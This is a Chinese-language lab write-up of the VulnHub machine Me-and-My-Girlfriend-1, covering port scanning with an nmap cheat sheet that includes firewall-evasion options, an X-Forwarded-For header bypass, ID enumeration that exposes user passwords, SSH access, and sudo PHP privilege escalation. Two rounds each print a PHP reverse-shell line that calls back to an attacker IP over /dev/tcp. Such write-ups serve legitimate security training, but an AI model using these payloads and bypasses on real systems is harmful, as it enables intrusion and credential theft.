vulnhub Me-and-My-Girlfriend-1

前言

本文所使用的工具可参考以下仓库:

Awesome_Pentest_Tools: 一站式渗透测试与红队工具合集,旨在帮助渗透测试人员打造自己的工具链

这是一个来自 VulnHub 的靶机项目。

**靶机地址:**https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/

**难度级别:**Beginner

注:共有 2 个flag

靶机描述:

This VM tells us that there are a couple of lovers namely Alice and Bob, where the couple was originally very romantic, but since Alice worked at a private company, “Ceban Corp”, something has changed from Alice’s attitude towards Bob like something is “hidden”, And Bob asks for your help to get what Alice is hiding and get full access to the company!

该虚拟机围绕一对情侣 Alice 和 Bob 展开故事设定。两人原本感情甜蜜,但自从 Alice 入职一家名为 “Ceban Corp” 的私营公司后,她的态度逐渐发生变化,似乎隐藏着某些秘密。Bob 希望你能够协助调查,找出 Alice 所隐瞒的真相,并最终获取该公司的完整访问权限。

由于是课程作业,要求复现WP,所以本靶机我们将进行两轮攻击:

  1. 第一轮:复现 Writeup(WP)的方法操作,完成课程要求。
  2. 第二轮:结合自身理解与技巧,尝试更高效或独特的解决方案。

第一轮

这一轮复现WP,解题步骤及描述仅作简单调整

首先不知道靶机的IP,netdiscover(kali自带的基于ARP协议的网段扫描工具)发现靶机IP:192.168.100.128

1
netdiscover

image-20251211133023979

nmap进行扫描一波,发现开放SSH以及80。

SSH端口先放过它,基本没有弱口令,等有相关用户名密码再来搞它,去80端口看看。

1
nmap -p- -A 192.168.100.128
  • -p-:扫描目标主机 1–65535 全端口(TCP)。

  • -A:启用“高级检测”(“aggressive”模式),包括:

    • 服务版本探测(-sV
    • 操作系统识别(-O
    • 默认脚本扫描(-sC,相当于 --script=default
    • traceroute

image-20251211133449597

nmap常用参数

  • -sS:TCP SYN扫描(半开放,隐蔽、速度快,需要root权限)
  • -sT:TCP连接扫描(不需要root,速度较慢且容易被检测)
  • -sU:UDP扫描(用于UDP端口,但慢且不一定能准确识别)
  • -p:指定扫描端口或端口范围(如 -p 80,443-p 1-1000
  • -A:启用高级功能,包含操作系统检测、版本探测、脚本扫描和路由跟踪
  • -sV:服务版本检测,识别端口上运行的服务及版本号
  • -O:操作系统探测
  • -Pn-P0:无主机发现,跳过ping,适合目标禁ping情况下
  • -sn:仅做主机发现,不扫描端口
  • -T0 ~ -T5:时序模板,调节扫描速度(T4/T5为快速,T0为超慢)
  • -iL:从文件读取目标主机列表
  • -oN-oX-oG:输出格式(普通文本/XML/grep-able)
  • --script:执行NSE脚本,支持漏洞、服务、协议自动化检测
  • -n/-R:禁用/总是进行DNS解析
  • -v/-vv:显示详细过程
  • -f:分片攻击,逃避防火墙检测
  • --min-rate:设置最小包发送速率,加速扫描

常用场景命令举例

  1. 快速端口扫描,查开放端口
1
2
# SYN扫描、扫描前1000常见端口,速度快,隐蔽性好
nmap -sS -p 1-1000 192.168.1.1
  1. 综合信息收集(服务+版本+操作系统)
1
2
# 全面评估目标,得端口、服务、版本、操作系统,配合T4加速,适合渗透/安全初查
sudo nmap -sS -sV -O --top-ports 1000 -T4 192.168.1.1
  1. 全端口扫描(不遗漏隐藏服务)
1
2
# 扫描所有65535端口,并跳过ping,加速,适合深度排查关键主机
sudo nmap -sS -p- --min-rate 5000 -T4 -Pn 192.168.1.1
  1. 主机发现
1
2
# 仅查活跃主机,不扫端口,适合绘制内网主机地图
nmap -sn 192.168.1.0/24
  1. 服务版本及漏洞快速扫描
1
2
# 扫指定端口服务版本并用NSE脚本找公开漏洞,适合快速脆弱性筛查
nmap -sV --script vuln -p 80,443,445 192.168.1.1
  1. 高危服务专项扫描(如SMB/HTTP/SSH等)
1
2
3
# 对Windows/Samba/WEB进行枚举,为渗透做准备
nmap --script smb-enum-shares,smb-enum-users -p 445 192.168.1.1
nmap --script http-enum,http-headers -p 80,443 192.168.1.1
  1. 规避防火墙/检测IDS
1
2
# 慢速、分片、源端口伪装、多IP欺骗,提高隐蔽性,适合防火墙严密场景
sudo nmap -sF -T2 --scan-delay 500ms -f --data-length 16 -D RND:10,ME -g 53 192.168.1.1

扫扫目录,目录以及文件没有有用信息,只能从80找突破口。

1
dirsearch -u http://192.168.100.128/ -e .txt,php,html,json

image-20251211135029754

访问/robots.txt

User-Agent: *
Allow: /heyhoo.txt

然后访问/heyhoo.txt,

Great! What you need now is reconn, attack and got the shell

这里是提示我们信息收集、发动攻击,然后拿到 shell。

看看misc目录

1
http://192.168.100.128/misc/

image-20251211135503451

看看config目录

1
http://192.168.100.128/config/

image-20251211135533245

回到根目录,访问后页面显示允许本地登录。

image-20251211135713354

这是知识点了,要改xff头。

1
X-Forwarded-For: localhost

这里在bp里添加xff头

image-20251211141954946

修改完之后我们就进来了。

这结构必须试一试SQL注入和本地包含,之前找到的两个目录下还有两个PHP文件,也许有东西。

但是经过测试发现,不存在SQL注入和本地包含,这条路是死了。

1
http://192.168.100.128/?page=index

可以注意到有主页、登录、注册、等功能,但是我们不能登录。那就先注册一个。

登录之后又看到了熟悉的参数试一试有没有注入,发现还是没有。

1
http://192.168.100.128/index.php?page=dashboard&user_id=13

image-20251211142736750

看看profile

image-20251211143236393

转念一想,看看传个别的ID值看看什么情况。13没有,也就是说我们是最后一个。

看看11也是没有。但是到1之后就又有了。也就说意味着我们可以 得到这些用户的账号密码。哎呦?可以遍历一下。

image-20251211143530850

可以得到6组密码,有的没有,有的有。

image-20251211143747060

image-20251211143730547

用户名 密码
eweuhtandingan skuyatuh
aingmaung qwerty!!!
sundatea indONEsia
sedihaingmah cedihhihihi
alice 4lic3
abdikasepak dorrrrr

这不就有了用户名和密码,回手掏,去干SSH得到账号密码

1
2
3
4
5
6
7
8
cat > users.txt <<EOF
eweuhtandingan
aingmaung
sundatea
sedihaingmah
alice
abdikasepak
EOF
1
2
3
4
5
6
7
8
cat > passwords.txt <<EOF
skuyatuh
qwerty!!!
indONEsia
cedihhihihi
4lic3
dorrrrr
EOF

image-20251211144404340

SSH找到第一个flag

1
2
ssh alice@192.168.100.128
# 密码:4lic3

image-20251211144625538

起服务,拉脚本

1
python2 -m SimpleHTTPServer
1
2
3
wget http://192.168.100.129:8000/LinEnum.sh
chmod 777 LinEnum.sh
./LinEnum.sh

image-20251211145016022

找到突破点,我们之可以root权限执行PHP命令的得到shell找到第二个flag

1
./LinEnum.sh -s -t

image-20251211153942190

1
2
3
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.100.129/8888 0>&1'");
?>

image-20251211192303845

第二轮

这一轮用更熟悉的打法

fscan扫一下网段

1
fscan.exe -h 192.168.230.0/24

image-20251211181807367

发现靶机IP192.168.230.129,fscan扫一下全端口

1
fscan.exe -h 192.168.230.129 -p 1-65535

image-20251211182029726

tscanplus扫目录

image-20251211182711545

/robots.txt

1
2
User-Agent: *
Allow: /heyhoo.txt

/heyhoo.txt

1
Great! What you need now is reconn, attack and got the shell

只能回到根目录,访问后页面显示允许本地登录。改xff头,修改完之后我们就进来了。

image-20251211135713354

1
X-Forwarded-For: localhost

image-20251211183028032

这结构必须试一试SQL注入和本地包含。之前找到的两个目录下还有两个PHP文件,也许有东西。但是经过测试发现,不存在SQL注入和本地包含。这条路是死了。

1
http://192.168.230.129/?page=index

可以注意到又主页、登录、注册、等功能,但是我们不能登录。那就先注 册一个。

登录之后又看到了熟悉的参数试一试有没有注入。发现还是没有。

1
http://192.168.230.129/index.php?page=dashboard&user_id=13

image-20251211183533224

转念一想,看看传个别的ID值看看什么情况。13没有,也就是说我们是最后一个。看看11也是没有。但是到1之后就又有了。也就说意味着我们可以 得到这些用户的账号密码。哎呦?可以遍历一下。

image-20251211183606239

可以得到6组密码,有的没有,有的有。

image-20251211183707648

用户名 密码
eweuhtandingan skuyatuh
aingmaung qwerty!!!
sundatea indONEsia
sedihaingmah cedihhihihi
alice 4lic3
abdikasepak dorrrrr

这不就有了用户名和密码,回手掏,去干SSH得到账号密码

image-20251211190634799

SSH找到第一个flag

1
2
ssh alice@192.168.230.129
# 密码:4lic3

image-20251211191033920

有sudo提权漏洞

image-20251211191453881

搜利用方式

image-20251211191528489

1
2
3
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.230.128/9999 0>&1'");
?>

image-20251211192157381

反弹shell,pwncat连接,得到tty

读flag

image-20251211154733312


vulnhub Me-and-My-Girlfriend-1
http://example.com/2026/test42/
作者
sangnigege
发布于
2026年4月15日
许可协议